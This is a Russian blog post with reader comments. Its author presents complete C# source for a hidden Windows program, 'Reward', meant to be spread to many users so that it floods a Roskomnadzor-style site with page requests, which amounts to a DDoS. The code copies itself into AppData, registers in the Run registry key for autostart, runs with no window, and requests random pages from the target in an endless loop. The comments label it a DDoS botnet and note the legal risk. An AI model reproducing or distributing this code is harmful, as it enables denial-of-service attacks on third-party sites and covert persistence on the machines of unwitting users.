В один прекрасный день, в поисках недавно вышедшего фильма, я обнаружил, что на всех сайтах раздача удалена по требованию Роскомнадзора, а на Рутрекер его ещё никто не залил.

Немного расстроенный я решил утешиться написанием десктоп-приложения, которое должно помочь каждому пользователю интернета с выразить свою благодарность любимому сайту, например, сайту Роскомнадзора (за то, что он блюдёт законы и защищает нашу безопасность).
Ну а что может быть более приятным, чем массовые посещения твоего сайта?

Что у меня получилось смотрите под катом.

Я решил пойти предельно честным путём — имитировать Хабраэффект (Представляете, сколько радости ждёт кого-то?). Для начала создадим в Visual Studio пустой проект и в настройках проекта укажем его тип: Windows Application.

Наше приложение будет просто подгружать каждые 15-20 секунд случайную страницу с сайта и выбирать из неё ссылку для следующей загрузки. Если, скажем около ста тысяч человек пожелает отблагодарить Роскомнадзор, Хабраэффект неминуем. С мыслями о добром деле приступим к реализации.

Я старался описывать действия программы и поэтому часть статьи находится в комментариях к коду.

Всю основную работу будет выполнять экземпляр класса RandomBrowser с помощью нескольких внешних расширяющих методов класса String:

class RandomBrowser
{
    private readonly WebClient Downoader = new WebClient();
    private readonly Random Randomizer = new Random();

    // Имя, стартовая страница
    public readonly String DomainName;
    public readonly String DomainPage;
    // Выбранная ссылка для следующего запроса, 
    // свойство планируется в будущем использовать для логгирования
    public String NextUrl { private set; get; }

    // Метод осуществляет закачку страницы по ссылке NextUrl
    public void Request()
    {
        try
        {
            // Скачиваем страницу и парсим из неё все ссылки
            // Тут мы используем расширяющий метод String.GetHtmlLinks
            List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName);
            // Если есть ссылки, то выбираем случайную для следующего запроса,
            // иначе снова выбираем стартовую страницу
            NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage;
        }
        // В случае ошибки парсинга или загрузки страницы
        // сбрасываем следующую ссылку до начальной страницы
        catch (Exception)
        {
            NextUrl = DomainPage;
        }
    }

    // Принимаем стартовую страницу
    public RandomBrowser(String startPage)
    {
        // Устанавливаем имя домена и его стартовую страницу
        // Тут мы используем расширяющий метод String.GetDomainName
        DomainName = startPage?.GetDomainName();
        DomainPage = @"http://www." + DomainName;
        NextUrl = startPage;
    }
}

Так как мы пишем приложение для как можно большего числа пользователей, то собирать его придётся под .NET Framework 4, так как этот вариант гарантированно запустится на большинстве машин с Windows 7, 8, 10. Поэтому для всех операций закачки придётся использовать класс WebClient.

А вот и наши расширяющие класс String методы:

static class Extensions
{
    // Порядок префиксов важен
    private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." };

    // Метод возвращает имя домена из строки
    public static String GetDomainName(this String url)
    {
        foreach (String i in Prefixes)
        {
            if (url.IndexOf(i) == 0)
            {
                url = url.Remove(0, i.Length);
            }
        }
        Int32 subdomain = url.IndexOf('/');
        return subdomain == -1 ? url : url.Remove(subdomain);
    }

    // Метод парсит html-страницу в виде строки и возвращает все ссылки
    // Принимает строку и доменное имя для фильтрации
    public static List<String> GetHtmlLinks(this String page, String domainName = null)
    {
        // Тут я использую позаимствованную на просторах Хабра регулярку
        List<String> result = new List<String>();
        Regex reHref = new Regex(@"(?inx)
        <a \s [^>]*
            href \s* = \s*
                (?<q> ['""] )
                    (?<url> [^""]+ )
                \k<q>
        [^>]* >");
        foreach (Match i in reHref.Matches(page))
        {
            result.Add(i.Groups["url"].ToString());
        }
        // Если было установлено доменное имя для фильтрации ссылок, то отсеиваем все лишние
        return domainName == null
             ? result
             : new List<String>(result.Where(i => i.GetDomainName() == domainName));
    }
}

И наконец, завершим создание нашего приложения, я назвал его Reward (награда в виде подобия Хабраэффекта), написанием точки входа:

class Program
{
    static void Main()
    {
        // Думаю комментировать имена переменных излишне
        const String appName = "Reward";
        String appDirectory =
            $@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}";
        const String fileName = appName + ".exe";
        String filePath = $@"{appDirectory}\{fileName}";
        // Что бы пользователю было удобнее, запишем наше приложение в автозагрузку в реестр
        RegistryKey autorun = 
            Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true);
        String regValue = autorun.GetValue(appName) as String;
        // Если ключ реестра не найден 
        // или параметром ключа не является строка (из-за действия оператора as)
        // или строка не является правильным путем
        if (regValue == null || regValue != filePath)
        {
            // Значит приложение ещё не запускалось
            // Выводим приветствие для первого раза:
            MessageBox.Show("Теперь вы сможете поддерживать любимый сайт круглосуточно!", "Там-парарам");
            // Проверяем существование директории для приложения
            if (!File.Exists(filePath))
            {
                // И создаём её в случае необходимости
                if (!Directory.Exists(appDirectory))
                {
                    Directory.CreateDirectory(appDirectory);
                }
                // Проверяем содержание текущего пути до экземпляра
                // в аргументах командной строки,
                // если не находим, 
                // то используем предполагаемый путь по умолчанию.
                // Затем, скопируем наше приложение в "AppData/Roaming",
                // дабы исполняемый файл на рабочем столе не мозолил глаза
                String[] args = Environment.GetCommandLineArgs();
                File.Copy(
                    args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}", 
                    filePath);
            }
            // Прописываемся в реестре
            autorun.SetValue(appName, filePath);
            // И запускаем наш новый экземпляр из "AppData/Roaming"            
            Process.Start(filePath);
            // Завершаем работу текущего экземпляра, 
            // теперь пользователь может его спокойно удалить
            return;
        }

        // Собственно основной цикл работы приложения:
        RandomBrowser browser = new RandomBrowser(@"http://www.ПримерСайтаДляБлагодарности.рф");
        Random randomizer = new Random();
        while (true)
        {
            // Для того что бы наше приложение вело себя более похожим образом 
            // на пользователя, 
            // и "кликало" по ссылкам через разные промежутки времени от 15 секунд,
            // добавим элемент случайности
            Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10)));
            browser.Request();
        }
    }
}

Итак, у нас получилось незаметное в таскбаре, постоянно висящее в процессах и потребляющее на моем десктопе 3 мб оперативной памяти приложение. Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.

Не зарабатываю на хлеб программированием, это скорее моё хобби под настроение в свободное время.

Жду шквала унижающей уничтожающей критики, и, если повезёт услышать, советов по доработке.

Эта статья не является призывом идти и благодарить таким способом какие-нибудь сайты, а весь код был написан исключительно для развлечения.
Поделиться с друзьями
-->

Комментарии (31)


  1. alff31
    01.02.2017 22:45

    Ну windows only, скрипт linux тоже не помешает


  1. Suvitruf
    01.02.2017 22:49
    +4

    Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.
    Ботнет прям.


  1. Smi1e
    01.02.2017 23:14

    Как думаете, сколько статей УК/КоАП уже нарушили?


    1. AgentFire
      01.02.2017 23:35
      +4

      ноль?


  1. dimaaan
    01.02.2017 23:15

    Вместо консольного приложения под windows надо было сделать кроссплатформенный демон. Посмотрите в сторону Topshelf: Ссылка


    1. Daniro_San
      01.02.2017 23:16

      Это не консольное приложение, это Windows Application, т. е. окошко консоли даже выскакивать не будет


    1. MonkAlex
      01.02.2017 23:19
      +1

      Да ладно, обычного CLI хватило бы, который под mono легко заведется. Зачем лишние извращения?


      1. ColdPhoenix
        02.02.2017 00:10

        если выкинуть MessageBox поидее должен завестить и под Mono.


        1. ChALkeRx
          02.02.2017 01:23

          А реестр в Mono есть? Я давно не смотрел.
          Обратите внимание, что это поделие на реестр завязано и прописывается в автозагрузку.


          1. ColdPhoenix
            02.02.2017 07:43

            каюсь, упустил :(


      1. withkittens
        02.02.2017 01:47

        Вместо mono впору .NET Core использовать.


  1. webirus
    01.02.2017 23:20
    +8

    Честно, мне иногда кажется, что некоторым людям просто нечего делать. Хотя во вступлении так и написано. Но все же, пускайте свою энергию на какие-нибудь полезные вещи.


  1. nikitasius
    01.02.2017 23:24

    Благодарность через гуглоэксельки все еще в силе?


  1. samodum
    01.02.2017 23:57
    +10

    Детский сад какой-то. Тот же Cloudflare легко справится с этим DDoS (называйте уже вещи своими именами, а не каким-то там мистическим хабраэффектом)


  1. Monoroch
    02.02.2017 00:03
    +7

    DDoS'ить государственный сайт, который содержится за государственные деньги, которые идут с твоих налогов?
    Нуу, дофига логично…


    1. Daniro_San
      02.02.2017 00:13
      -3

      Налоги я плачу отнюдь не по своему желанию.
      Тем более на проекты по контролю интернета.
      И не мне решать куда пойдут мои деньги с налогов.
      Но лично для меня это гос. учреждение ничего хорошего не сделало, кроме пакостей с блокированием безобидных торрентов.


      1. Suvitruf
        02.02.2017 00:49

        Вы же понимаете, что таким образом гадость делаете больше не Роскомнадзору, а IT'шниками, которые там работают?


        1. Furriest
          02.02.2017 03:33
          +1

          А их туда насильно заставляли идти работать?
          Аргумент прям в стиле «вы гадость делаете не Аушвицу, а ССовцам, которые его охраняют».


        1. Klenov_s
          02.02.2017 04:56
          +3

          У нас пока еще можно выбирать место работы


      1. tikhmax
        03.02.2017 07:26

        ну то есть вы за то чтобы не платить налоги?


    1. kogot
      02.02.2017 13:48
      +1

      Автор же ранее писал, что он школьник, следовательно налоги не платит, а только ест их по возможности. Карманные деньги, на которые можно было бы купить фильм с легальных торрентов потрачены на более важные вещи.
      В целом молодец конечно, что попытался решить проблему своей головой. Но лучше твори добро, присесть ты всегда успеешь.


      1. Daniro_San
        02.02.2017 13:56

        С тех пор прошло немало времени и я уже полгода работаю на благо общества, со всеми налогами и отчислениями)


        1. kogot
          02.02.2017 14:03

          Пардоньте. Ну тем более, не пристало сознательному гражданину ddos писать и призывать к этому почетных жителей хабратании(ст. 33 УК РФ) :)
          Да и еще карму себе подпортил как хабравскую, так жизненную…


  1. ChALkeRx
    02.02.2017 01:15

    Кстати, эта штука тривиально роняется лёгким изменением на сервере.


  1. yarosroman
    02.02.2017 01:49
    +7

    Обиделся, что не дали скачать пиратский контент? А дальше, что? Отморожу уши всем назло?


  1. zorgzerg
    02.02.2017 04:54
    +4

    Суицида пост. Не иначе


  1. ahnyava
    02.02.2017 04:56
    +1

    для тех же целей прекрасно подошёл бы jmeter или яндекс.танк. танк эффективнее ибо "пушка" на С)


  1. MRomaV
    02.02.2017 04:56

    так это простой DDoS, для которого существует много кросплатформенних аппликух


  1. Gradarius
    02.02.2017 09:24
    +1

    Понятно, что делать нечего. Понятно, что «Не зарабатываю на хлеб программированием». Но не ясно зачем статью на хабре делать под это добро, обычно такое пишется в стол сразу, то есть только для себя.
    В целом молодец конечно, творить это хорошо, но показывать всем свои творения уж слишком рано.


  1. Zolg
    02.02.2017 10:31

    Попытка изобрести LOIC?


  1. ikbrain
    02.02.2017 14:22

    Ждём новых статей от автора:
    «Не дали выйти из магазина с неоплаченными покупками. Автоматизируем выбор продуктов, вставание в очередь, и потом отмену купленного, чтобы наказать кассира.»
    «Не дали уехать на работу на машине соседей. Автоматизируем приём „постучать по колесу, чтобы сигналка заорала“»
    «Не дали съесть еду, которую заказали люди с другого столика. Отблагодарим жмотов или как выбрать электронный испаритель»